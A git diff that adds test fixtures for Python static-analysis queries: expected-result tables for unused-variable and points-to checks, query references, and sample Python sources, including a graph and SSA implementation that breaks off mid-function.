index 00000000000..2b104a610a1 --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.expected @@ -0,0 +1,6 @@ +| test.py:4:5:4:28 | For | For loop variable 't' is not used in the loop body. | +| test.py:66:9:66:26 | For | For loop variable 'y' is not used in the loop body. | +| test.py:72:5:72:22 | For | For loop variable 'y' is not used in the loop body. | +| test.py:78:5:78:22 | For | For loop variable 's' is not used in the loop body. | +| test.py:106:5:106:25 | For | For loop variable 'sess' is deleted, but not used, in the loop body. | +| variables_test.py:133:5:133:32 | For | For loop variable 'tag' is not used in the loop body. | diff --git a/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.qlref b/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.qlref new file mode 100644 index 00000000000..4b9f136451e --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.qlref @@ -0,0 +1 @@ +Variables/SuspiciousUnusedLoopIterationVariable.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.expected b/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.expected new file mode 100644 index 00000000000..a902cad04cb --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.expected @@ -0,0 +1,5 @@ +| variables_test.py:29:5:29:5 | x | The value assigned to local variable 'x' is never used. | +| variables_test.py:89:5:89:5 | a | The value assigned to local variable 'a' is never used. | +| variables_test.py:89:7:89:7 | b | The value assigned to local variable 'b' is never used. | +| variables_test.py:89:9:89:9 | c | The value assigned to local variable 'c' is never used. | +| variables_test.py:95:5:95:7 | var | The value assigned to local variable 'var' is never used. | diff --git a/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.qlref b/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.qlref new file mode 100644 index 00000000000..bd6e5aaa069 --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/UnusedLocalVariable.qlref @@ -0,0 +1 @@ +Variables/UnusedLocalVariable.ql diff --git a/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.expected b/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.expected new file mode 100644 index 00000000000..248ce2d0637 --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.expected @@ -0,0 +1,6 @@ +| variables_test.py:48:1:48:13 | not_used_var1 | The global variable 'not_used_var1' is not used. | +| variables_test.py:49:1:49:13 | not_used_var2 | The global variable 'not_used_var2' is not used. | +| variables_test.py:86:1:86:1 | a | The global variable 'a' is not used. | +| variables_test.py:86:3:86:3 | b | The global variable 'b' is not used. | +| variables_test.py:86:5:86:5 | c | The global variable 'c' is not used. | +| variables_test.py:100:1:100:8 | glob_var | The global variable 'glob_var' is not used. | diff --git a/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.qlref b/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.qlref new file mode 100644 index 00000000000..587ad951076 --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/UnusedModuleVariable.qlref @@ -0,0 +1 @@ +Variables/UnusedModuleVariable.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Variables/unused/UnusedParameter.expected b/python/ql/test/query-tests/Variables/unused/UnusedParameter.expected new file mode 100644 index 00000000000..a5c9320e33e --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/UnusedParameter.expected @@ -0,0 +1 @@ +| variables_test.py:25:1:25:10 | Function u1 | The parameter 'x' is never used. | diff --git a/python/ql/test/query-tests/Variables/unused/UnusedParameter.qlref b/python/ql/test/query-tests/Variables/unused/UnusedParameter.qlref new file mode 100644 index 00000000000..b37e4859c1b --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/UnusedParameter.qlref @@ -0,0 +1 @@ +Variables/UnusedParameter.ql diff --git a/python/ql/test/query-tests/Variables/unused/lazy_import.py b/python/ql/test/query-tests/Variables/unused/lazy_import.py new file mode 100644 index 00000000000..c838c77f06b --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/lazy_import.py @@ -0,0 +1,7 @@ + +from clever_lazy_module_thing import range + +#OK iteration over range +def OK4(n): + for i in range(n): + print("x") diff --git a/python/ql/test/query-tests/Variables/unused/test.py b/python/ql/test/query-tests/Variables/unused/test.py new file mode 100644 index 00000000000..855e9a5ddfd --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/test.py @@ -0,0 +1,108 @@ + +#Unused +def fail(): + for t in [TypeA, TypeB]: + x = TypeA() + run_test(x) + +#OK by name +def OK1(seq): + for _ in seq: + do_something() + print("Hi") + +#OK counting +def OK2(seq): + i = 3 + for x in seq: + i += 1 + return i + +#OK check emptiness +def OK3(seq): + for thing in seq: + return "Not empty" + return "empty" + +#OK iteration over range +def OK4(n): + r = range(n) + for i in r: + print("x") + +#OK named as unused +def OK5(seq): + for unused_x in seq: + print("x") + +#ODASA-3794 +def OK6(seq): + for thing in seq: + if sum(1 for s in STATUSES + if thing <= s < thing + 100) >= quorum: + return True + +#OK -- Implicitly using count +def OK7(seq): + for x in seq: + queue.add(None) + +def OK8(seq): + for x in seq: + output.append("") + +#Likewise with parameters +def OK7(seq, queue): + for x in seq: + queue.add(None) + +def OK8(seq, output): + for x in seq: + output.append("") + +#Not OK -- Use a constant, but also a variable +def fail2(sequence): + for x in sequence: + for y in sequence: + do_something(x+1) + +def fail3(sequence): + for x in sequence: + do_something(x+1) + for y in sequence: + do_something(x+1) + +def fail4(coll, sequence): + while coll: + x = coll.pop() + for s in sequence: + do_something(x+1) + +#OK See ODASA-4153 and ODASA-4533 +def fail5(t): + x, y = t + return x + + +class OK9(object): + cls_attr = 0 + def __init__(self): + self.attr = self.cls_attr + +__all__ = [ 'hello' ] +__all__.extend(foo()) +maybe_defined_in_all = 17 + +#ODASA-5895 +def rand_list(): + return [ random.random() for i in range(100) ] + +def kwargs_is_a_use(seq): + for arg in seq: + func(**arg) + +#A deletion is a use, but this is almost certainly an error +def cleanup(sessions): + for sess in sessions: + # Original code had some comment about deleting sessions + del sess diff --git a/python/ql/test/query-tests/Variables/unused/variables_test.py b/python/ql/test/query-tests/Variables/unused/variables_test.py new file mode 100644 index 00000000000..6a30b7945a6 --- /dev/null +++ b/python/ql/test/query-tests/Variables/unused/variables_test.py @@ -0,0 +1,139 @@ + +__all__ = [ 'is_used_var1' ] + +__author__ = "Mark" + +__hidden_marker = False + + + + + + + + + + + + + + + + +#Unused parameter, local and global + +def u1(x): + return 0 + +def u2(): + x = 1 + return 1 + +#These parameters are OK due to (potential overriding) +class C(object): + + @abstractmethod + def ok2(self, p): + pass + + def ok3(self, arg): + pass + +class D(C): + + def ok3(self, arg): + pass + +#Unused module variable +not_used_var1 = 17 +not_used_var2 = 18 +is_used_var1 = 19 +is_used_var2 = 20 + +def func(): + return is_used_var2 + +#Redundant global declaration +global g_x + +g_x = 0 + +#Use global + +def uses_global(arg): + global g_x + g_x = arg + +use(g_x) + + +#Unused but with acceptable names +unused_var3 = g_x + +#Use at least one element of the tuple + +_a, _b, c = t + +use(c) + +def f(t): + _a, _b, c = t + use(c) + + +# Entirely unused tuple + +a,b,c = t + +def f(t): + a,b,c = t + use(t) + +def second_def_undefined(): + var = 0 + use(var) + var = 1 # unused. + +#And gloablly +glob_var = 0 +use(glob_var) +glob_var = 1 # unused + + + + +#OK if marked as unused: +def ok_unused(unused_1): + unused_2 = 1 + return 0 + +#Decorators count as a use: + +@compound.decorator() +def _unused_but_decorated(): + pass + +def decorated_inner_function(): + + @flasklike.routing("/route") + def end_point(): + pass + + @complex.decorator("x") + class C(object): + pass + + return 0 + + + +#FP observed https://lgtm.com/projects/g/torchbox/wagtail/alerts/ +def test_dict_unpacking(queryset, field_name, value): + #True positive + for tag in value.split(','): + queryset = queryset.filter(**{field_name + '__name': tag1}) + return queryset + #False positive + for tag in value.split(','): + queryset = queryset.filter(**{field_name + '__name': tag}) + return queryset diff --git a/python/ql/test/query-tests/analysis/Sanity/Sanity.expected b/python/ql/test/query-tests/analysis/Sanity/Sanity.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/analysis/Sanity/Sanity.qlref b/python/ql/test/query-tests/analysis/Sanity/Sanity.qlref new file mode 100644 index 00000000000..692b9cacd4e --- /dev/null +++ b/python/ql/test/query-tests/analysis/Sanity/Sanity.qlref @@ -0,0 +1 @@ +analysis/Sanity.ql diff --git a/python/ql/test/query-tests/analysis/Sanity/test.py b/python/ql/test/query-tests/analysis/Sanity/test.py new file mode 100644 index 00000000000..7877ec789fe --- /dev/null +++ b/python/ql/test/query-tests/analysis/Sanity/test.py @@ -0,0 +1,36 @@ + + +class BaseClass(object): + + cls_attr = 0 + + def __init__(self): + self.shadowing = 2 + +class DerivedClass(BaseClass): + + cls_attr = 3 + shadowing = 5 + + def __init__(self): + BaseClass.__init__(self) + self.inst_attr = 4 + + def method(self): + self.cls_attr + self.inst_attr + self.shadowing + +#ODASA-3836 +def comprehensions_and_generators(seq): + [y*y for y in seq] + (y*y for y in seq) + {y*y for y in seq} + {y:y*y for y in seq} + +#ODASA-5391 +@decorator(x) +class Decorated(object): + pass + +d = Decorated() diff --git a/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.expected b/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.expected new file mode 100644 index 00000000000..1162bce43fa --- /dev/null +++ b/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.expected @@ -0,0 +1,28 @@ +| test.py:8:9:8:12 | self | test.py:7:18:7:21 | Definition test.py:7 | Definition | +| test.py:10:20:10:28 | BaseClass | test.py:3:1:3:24 | Definition test.py:3 | Definition | +| test.py:16:9:16:17 | BaseClass | test.py:3:1:3:24 | Definition test.py:3 | Definition | +| test.py:16:19:16:26 | Attribute | test.py:7:5:7:23 | Definition test.py:7 | Definition | +| test.py:16:28:16:31 | self | test.py:15:18:15:21 | Definition test.py:15 | Definition | +| test.py:17:9:17:12 | self | test.py:15:18:15:21 | Definition test.py:15 | Definition | +| test.py:20:9:20:12 | self | test.py:19:16:19:19 | Definition test.py:19 | Definition | +| test.py:20:14:20:21 | Attribute | test.py:12:16:12:16 | Definition test.py:12 | Definition | +| test.py:21:9:21:12 | self | test.py:19:16:19:19 | Definition test.py:19 | Definition | +| test.py:21:14:21:22 | Attribute | test.py:17:9:17:22 | Definition test.py:17 | Definition | +| test.py:22:9:22:12 | self | test.py:19:16:19:19 | Definition test.py:19 | Definition | +| test.py:22:14:22:22 | Attribute | test.py:13:17:13:17 | Definition test.py:13 | Definition | +| test.py:26:19:26:21 | seq | test.py:25:35:25:37 | Definition test.py:25 | Definition | +| test.py:27:19:27:21 | seq | test.py:25:35:25:37 | Definition test.py:25 | Definition | +| test.py:28:19:28:21 | seq | test.py:25:35:25:37 | Definition test.py:25 | Definition | +| test.py:29:21:29:23 | seq | test.py:25:35:25:37 | Definition test.py:25 | Definition | +| test.py:36:5:36:13 | Decorated | test.py:32:2:32:13 | Definition test.py:32 | Definition | +| test.py:38:8:38:13 | ImportExpr | module.py:0:0:0:0 | Definition module.py:0 | Definition | +| test.py:39:6:39:11 | ImportExpr | module.py:0:0:0:0 | Definition module.py:0 | Definition | +| test.py:39:20:39:22 | ImportMember | module.py:1:7:1:7 | Definition module.py:1 | Definition | +| test.py:40:1:40:3 | foo | test.py:39:20:39:22 | Definition test.py:39 | Definition | +| test.py:41:1:41:5 | thing | test.py:38:8:38:13 | Definition test.py:38 | Definition | +| test.py:41:7:41:9 | Attribute | module.py:2:7:2:7 | Definition module.py:2 | Definition | +| test.py:43:6:43:12 | ImportExpr | package/__init__.py:0:0:0:0 | Definition package/__init__.py:0 | Definition | +| test.py:43:21:43:21 | ImportMember | package/__init__.py:2:18:2:18 | Definition package/__init__.py:2 | Definition | +| test.py:44:8:44:14 | ImportExpr | package/__init__.py:0:0:0:0 | Definition package/__init__.py:0 | Definition | +| test.py:45:1:45:1 | p | test.py:44:8:44:14 | Definition test.py:44 | Definition | +| test.py:45:3:45:3 | Attribute | package/__init__.py:2:18:2:18 | Definition package/__init__.py:2 | Definition | diff --git a/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.qlref b/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.qlref new file mode 100644 index 00000000000..d4e89a35c97 --- /dev/null +++ b/python/ql/test/query-tests/analysis/jump_to_defn/Definitions.qlref @@ -0,0 +1 @@ +analysis/Definitions.ql diff --git a/python/ql/test/query-tests/analysis/jump_to_defn/module.py b/python/ql/test/query-tests/analysis/jump_to_defn/module.py new file mode 100644 index 00000000000..618f37ebbb4 --- /dev/null +++ b/python/ql/test/query-tests/analysis/jump_to_defn/module.py @@ -0,0 +1,2 @@ +foo = 1 +bar = 2 diff --git a/python/ql/test/query-tests/analysis/jump_to_defn/package/__init__.py b/python/ql/test/query-tests/analysis/jump_to_defn/package/__init__.py new file mode 100644 index 00000000000..e91fc44d9ba --- /dev/null +++ b/python/ql/test/query-tests/analysis/jump_to_defn/package/__init__.py @@ -0,0 +1,2 @@ + +from .mod import x diff --git a/python/ql/test/query-tests/analysis/jump_to_defn/package/mod.py b/python/ql/test/query-tests/analysis/jump_to_defn/package/mod.py new file mode 100644 index 00000000000..6e5a9d6cc26 --- /dev/null +++ b/python/ql/test/query-tests/analysis/jump_to_defn/package/mod.py @@ -0,0 +1,2 @@ + +x = 1 diff --git a/python/ql/test/query-tests/analysis/jump_to_defn/test.py b/python/ql/test/query-tests/analysis/jump_to_defn/test.py new file mode 100644 index 00000000000..0abfeb32c40 --- /dev/null +++ b/python/ql/test/query-tests/analysis/jump_to_defn/test.py @@ -0,0 +1,45 @@ + + +class BaseClass(object): + + cls_attr = 0 + + def __init__(self): + self.shadowing = 2 + +class DerivedClass(BaseClass): + + cls_attr = 3 + shadowing = 5 + + def __init__(self): + BaseClass.__init__(self) + self.inst_attr = 4 + + def method(self): + self.cls_attr + self.inst_attr + self.shadowing + +#ODASA-3836 +def comprehensions_and_generators(seq): + [y*y for y in seq] + (y*y for y in seq) + {y*y for y in seq} + {y:y*y for y in seq} + +#ODASA-5391 +@decorator(x) +class Decorated(object): + pass + +d = Decorated() + +import module as thing +from module import foo +foo +thing.bar + +from package import x +import package as p +p.x diff --git a/python/ql/test/query-tests/analysis/pointsto/CallGraphEfficiency.expected b/python/ql/test/query-tests/analysis/pointsto/CallGraphEfficiency.expected new file mode 100644 index 00000000000..a3d7def63d2 --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/CallGraphEfficiency.expected @@ -0,0 +1,2 @@ +| 0 | 29 | 29 | 100.0 | +| 1 | 4 | 40 | 10.0 | diff --git a/python/ql/test/query-tests/analysis/pointsto/CallGraphEfficiency.qlref b/python/ql/test/query-tests/analysis/pointsto/CallGraphEfficiency.qlref new file mode 100644 index 00000000000..6543a375317 --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/CallGraphEfficiency.qlref @@ -0,0 +1 @@ +analysis/CallGraphEfficiency.ql diff --git a/python/ql/test/query-tests/analysis/pointsto/CallGraphMarginalEfficiency.expected b/python/ql/test/query-tests/analysis/pointsto/CallGraphMarginalEfficiency.expected new file mode 100644 index 00000000000..0d3950e7a1e --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/CallGraphMarginalEfficiency.expected @@ -0,0 +1,2 @@ +| 0 | 29 | 29 | 100.0 | +| 1 | 3 | 40 | 7.5 | diff --git a/python/ql/test/query-tests/analysis/pointsto/CallGraphMarginalEfficiency.qlref b/python/ql/test/query-tests/analysis/pointsto/CallGraphMarginalEfficiency.qlref new file mode 100644 index 00000000000..90a59409cd6 --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/CallGraphMarginalEfficiency.qlref @@ -0,0 +1 @@ +analysis/CallGraphMarginalEfficiency.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/analysis/pointsto/FailedInference.expected b/python/ql/test/query-tests/analysis/pointsto/FailedInference.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/query-tests/analysis/pointsto/FailedInference.qlref b/python/ql/test/query-tests/analysis/pointsto/FailedInference.qlref new file mode 100644 index 00000000000..b08adfa00b5 --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/FailedInference.qlref @@ -0,0 +1 @@ +analysis/FailedInference.ql diff --git a/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.expected b/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.expected new file mode 100644 index 00000000000..197ffae7992 --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.expected @@ -0,0 +1,33 @@ +| test.py:30:13:30:21 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:37:21:37:29 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:43:9:43:17 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:50:17:50:25 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:52:13:52:21 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:55:13:55:21 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:65:43:65:51 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:118:43:118:55 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:129:24:129:32 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:133:24:133:32 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:137:24:137:32 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:141:24:141:32 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:155:16:155:30 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:229:17:229:27 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:230:18:230:31 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:422:16:422:29 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:443:21:443:34 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:445:18:445:31 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:454:21:454:34 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:460:20:460:33 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:461:18:461:31 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:470:20:470:33 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:476:20:476:33 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:477:20:477:33 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:509:16:509:33 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:531:21:531:29 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:645:35:645:48 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:656:39:656:52 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:663:20:663:28 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:676:23:676:33 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:686:30:686:53 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:712:37:712:49 | Attribute | Expression does not 'point-to' any object, but all its sources do. | +| test.py:712:55:712:63 | Attribute | Expression does not 'point-to' any object, but all its sources do. | diff --git a/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.qlref b/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.qlref new file mode 100644 index 00000000000..db945187917 --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/KeyPointsToFailure.qlref @@ -0,0 +1 @@ +analysis/KeyPointsToFailure.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/analysis/pointsto/Pruned.expected b/python/ql/test/query-tests/analysis/pointsto/Pruned.expected new file mode 100644 index 00000000000..53854800e6f --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/Pruned.expected @@ -0,0 +1 @@ +| 1418 | diff --git a/python/ql/test/query-tests/analysis/pointsto/Pruned.qlref b/python/ql/test/query-tests/analysis/pointsto/Pruned.qlref new file mode 100644 index 00000000000..2d2c28dbc26 --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/Pruned.qlref @@ -0,0 +1 @@ +analysis/Pruned.ql diff --git a/python/ql/test/query-tests/analysis/pointsto/test.py b/python/ql/test/query-tests/analysis/pointsto/test.py new file mode 100644 index 00000000000..655af2bd4e0 --- /dev/null +++ b/python/ql/test/query-tests/analysis/pointsto/test.py @@ -0,0 +1,723 @@ + +class SmallSet(list): + + __slots__ = [] + + def update(self, other): + filtered = [x for x in other if x not in self] + self.extend(filtered) + + def add(self, item): + if item not in self: + self.append(item) + +class DiGraph(object): + '''A simple directed graph class (not necessarily a DAG). + Nodes must be hashable''' + + def __init__(self, name = ""): + self.name = name + self.pred = {} + self.succ = {} + self.all_nodes = [] + self.node_annotations = {} + self.edge_annotations = {} + + def add_node(self, n): + 'Add a node to the graph' + if n not in self.succ: + self.pred[n] = SmallSet() + self.succ[n] = SmallSet() + self.all_nodes.append(n) + + def add_edge(self, x, y): + '''Add an edge (x -> y) to the graph. Return true if x, y was + previously in graph''' + if x in self.succ: + if y in self.succ[x]: + return True + else: + self.add_node(x) + self.add_node(y) + self.pred[y].add(x) + self.succ[x].add(y) + return False + + def remove_node(self, x): + if x not in self.succ: + raise ValueError("Node %s does not exist." % x) + preds = self.pred[x] + succs = self.succ[x] + for p in preds: + self.succ[p].remove(x) + for s in succs: + self.pred[s].remove(x) + del self.succ[x] + del self.pred[x] + + def remove_edge(self, x, y): + self.pred[y].remove(x) + self.succ[x].remove(y) + + def annotate_edge(self, x, y, note): + '''Set the annotation on the edge (x -> y) to note. + ''' + if x not in self.succ or y not in self.succ[x]: + raise ValueError("Edge %s -> %s does not exist." % (x, y)) + self.edge_annotations[(x,y)] = note + + def annotate_node(self, x, note): + '''Set the annotation on the node x to note. + ''' + if x not in self.succ: + raise ValueError("Node %s does not exist." % x) + self.node_annotations[x] = note + + def nodes(self): + '''Return an iterator for all nodes, in the form (node, note) pairs. + Do not modify the graph while using this iterator''' + for node in self.all_nodes: + yield node, self.node_annotations.get(node) + + def edges(self): + '''Return an iterator for all edges, in the form of (pred, succ, note) triple. + Do not modify the graph while using this iterator''' + index = dict((n, i) for i, n in enumerate(self.all_nodes)) + for n in self.all_nodes: + n_succs = self.succ[n] + for succ in sorted(n_succs, key = lambda n : index[n]): + yield n, succ, self.edge_annotations.get((n,succ)) + + def sources(self): + '''Return an iterator for all nodes with no predecessors. + Do not modify the graph while using this iterator''' + for n, p in self.pred.items(): + if not p: + yield n + + def __contains__(self, node): + return node in self.succ + + +class FlowGraph(DiGraph): + '''A DiGraph that supports the concept of definitions and variables. + Used to compute dominance and SSA form. + For more explanation of the algorithms used see + 'Modern Compiler Implementation by Andrew W. Appel. + ''' + + def __init__(self, root, name): + DiGraph.__init__(self, name) + self.definitions = {} + self.deletions = {} + self.uses = {} + self.use_all_nodes = set() + self.root = root + + def clear_computed(self): + to_be_deleted = [attr for attr in self.__dict__ if attr[0] == '_'] + for attr in to_be_deleted: + delattr(self, attr) + + def _require(self, what): + '''Ensures that 'what' has been computed (computing if needed).''' + if hasattr(self, "_" + what): + return + setattr(self, "_" + what, getattr(self, "_compute_" + what)()) + + def add_deletion(self, node, var): + assert node in self.succ + self.deletions[node] = var + + def add_definition(self, node, var): + assert node in self.succ + self.definitions[node] = var + + def add_use(self, node, var): + assert node in self.succ, node + self.uses[node] = var + + def use_all_defined_variables(self, node): + assert node in self.succ + self.use_all_nodes.add(node) + + def _compute_depth_first_pre_order(self): + self._require("depth_first_pre_order_labels") + reachable = [ f for f in self.all_nodes if f in self._depth_first_pre_order_labels ] + return sorted(reachable, key = lambda f : -self._depth_first_pre_order_labels[f]) + + def _compute_reachable(self): + self._require("depth_first_pre_order") + return frozenset(self._depth_first_pre_order) + + def reachable_nodes(self): + self._require("reachable") + return self._reachable + + def _compute_reversed_depth_first_pre_order(self): + self._require("depth_first_pre_order") + return reversed(self._depth_first_pre_order) + + def _compute_bb_depth_first_pre_order(self): + self._require('depth_first_pre_order') + self._require('bb_heads') + bbs = [] + for n in self._depth_first_pre_order: + if n in self._bb_heads: + bbs.append(n) + return bbs + + def _compute_bb_reversed_depth_first_pre_order(self): + self._require("bb_depth_first_pre_order") + return reversed(self._bb_depth_first_pre_order) + + def _compute_depth_first_pre_order_labels(self): + 'Compute order with depth first search.' + orders = {} + order = 0 + nodes_to_visit = [ self.root ] + while nodes_to_visit: + node = nodes_to_visit[-1] + orders[node] = 0 + if node in self.succ: + for succ in self.succ[node]: + if succ not in orders: + nodes_to_visit.append(succ) + else: + order += 1 + orders[node] = order + if node is nodes_to_visit[-1]: + nodes_to_visit.pop() + order += 1 + orders[node] = order + return orders + + def _compute_idoms(self): + self._require("depth_first_pre_order") + idoms = {} + + def idom_intersection(n1, n2): + 'Determine the last common idom of n1, n2' + orders = self._depth_first_pre_order_labels + while n1 is not n2: + while orders[n1] < orders[n2]: + n1 = idoms[n1] + while orders[n2] < orders[n1]: + n2 = idoms[n2] + return n1 + + for node in self._depth_first_pre_order: + if len(self.pred[node]) == 1: + idoms[node] = next(iter(self.pred[node])) + else: + idom = None + for p in self.pred[node]: + if p == self.root: + idom = p + elif p in idoms: + if idom is None: + idom = p + else: + idom = idom_intersection(idom, p) + if idom is not None: + idoms[node] = idom + return idoms + + def idoms(self): + '''Returns an iterable of node pairs: node, idom(node)''' + self._require('idoms') + idoms = self._idoms + for n in self.all_nodes: + if n in idoms: + yield n, idoms[n] + + + def _compute_dominance_frontier(self): + '''Compute the dominance frontier: + DF[n] = DF_local[n] Union over C in children DF_up[c]''' + + def dominates(dom, node): + while node in idoms: + next_node = idoms[node] + if dom == next_node: + return True + node = next_node + return False + + self._require('idoms') + idoms = self._idoms + dominance_frontier = {} + df_up = {} + dom_tree = _reverse_map(idoms) + self._require('reversed_depth_first_pre_order') + for node in self._reversed_depth_first_pre_order: + df_local_n = set(n for n in self.succ[node] if node != idoms[n]) + dfn = df_local_n + if node in dom_tree: + for child in dom_tree[node]: + dfn.update(df_up[child]) + dominance_frontier[node] = dfn + if node in idoms: + imm_dom = idoms[node] + df_up[node] = set(n for n in dfn if not dominates(imm_dom, n)) + else: + df_up[node] = dfn + return dominance_frontier + + def _compute_phi_nodes(self): + '''Compute the phi nodes for this graph. + A minimal set of phi-nodes are computed; + No phi-nodes are added unless the variable is live. + ''' + self._require('dominance_frontier') + self._require('liveness') + dominance_frontier = self._dominance_frontier + definitions = dict(self.definitions) + # We must count deletions as definitions here. Otherwise, we can have + # uses of a deleted variable whose SSA definition is an actual definition, + # rather than a deletion. + definitions.update(self.deletions) + phi_nodes = {} + defsites = {} + for a in definitions.values(): + defsites[a] = set() + for n in definitions: + a = definitions[n] + defsites[a].add(n) + for a in defsites: + W = set(defsites[a]) + while W: + n = W.pop() + if n not in dominance_frontier: + continue + for y in dominance_frontier[n]: + if y not in phi_nodes: + phi_nodes[y] = set() + if a not in phi_nodes[y]: + phi_nodes[y].add(a) + if y not in definitions or a != definitions[y]: + W.add(y) + trimmed = {} + for node in phi_nodes: + assert node in self._bb_heads + if node not in self._liveness: + continue + new_phi_vars = set() + phi_vars = phi_nodes[node] + for v in phi_vars: + if v in self._liveness[node]: + new_phi_vars.add(v) + if new_phi_vars: + trimmed[node] = new_phi_vars + return trimmed + + def _compute_ssa_data(self): + ''' Compute the SSA variables, definitions, uses and phi-inputs. + ''' + self._require('basic_blocks') + self._require('phi_nodes') + self._require('bb_depth_first_pre_order') + self._require('use_all') + phi_nodes = self._phi_nodes + reaching_ssa_vars = {} + work_set = set() + work_set.add(self.root) + ssa_defns = {} + ssa_uses = {} + ssa_phis = {} + ssa_vars = set() + ssa_var_cache = {} + + def make_ssa_var(variable, node): + '''Ensure that there is no more than one SSA variable for each (variable, node) pair.''' + uid = (variable, node) + if uid in ssa_var_cache: + return ssa_var_cache[uid] + var = SSA_Var(variable, node) + ssa_var_cache[uid] = var + return var + + for bb in self._bb_depth_first_pre_order: + #Track SSA variables in each BB. + reaching_ssa_vars[bb] = {} + for bb in self._bb_depth_first_pre_order: + live_vars = reaching_ssa_vars[bb].copy() + #Add an SSA definition for each phi-node. + if bb in phi_nodes: + variables = phi_nodes[bb] + for v in variables: + var = make_ssa_var(v, bb) + ssa_defns[var] = bb + live_vars[v] = var + for node in self.nodes_in_bb(bb): + #Add an SSA use for each use. + if node in self.uses: + a = self.uses[node] + if a not in live_vars: + #Treat a use as adding a reaching variable, + #since a second use, if it can be reached, + #will always find the variable defined. + var = make_ssa_var(a, node) + live_vars[a] = var + else: + var = live_vars[a] + ssa_vars.add(var) + ssa_uses[node] = [ var ] + #Add an SSA use for all live SSA variables for + #each use_all (end of module/class scope). + if node in self._use_all: + all_live = [ var for var in live_vars.values() if var.variable in self._use_all[node]] + ssa_uses[node] = all_live + ssa_vars.update(all_live) + #Add an SSA definition for each definition. + if node in self.definitions: + a = self.definitions[node] + var = make_ssa_var(a, node) + ssa_defns[var] = node + live_vars[a] = var + #Although deletions are not definitions, we treat them as such. + #SSA form has no concept of deletion, so we have to treat `del x` + #as `x = Undefined`. + if node in self.deletions: + a = self.deletions[node] + if a in live_vars: + var = live_vars[a] + ssa_vars.add(var) + ssa_uses[node] = [ var ] + else: + #If no var is defined here we don't need to create one + #as a new one will be immediately be defined by the deletion. + pass + var = make_ssa_var(a, node) + ssa_defns[var] = node + live_vars[a] = var + #Propagate set of reaching variables to + #successor blocks. + for n in self.succ[node]: + reaching_ssa_vars[n].update(live_vars) + if n 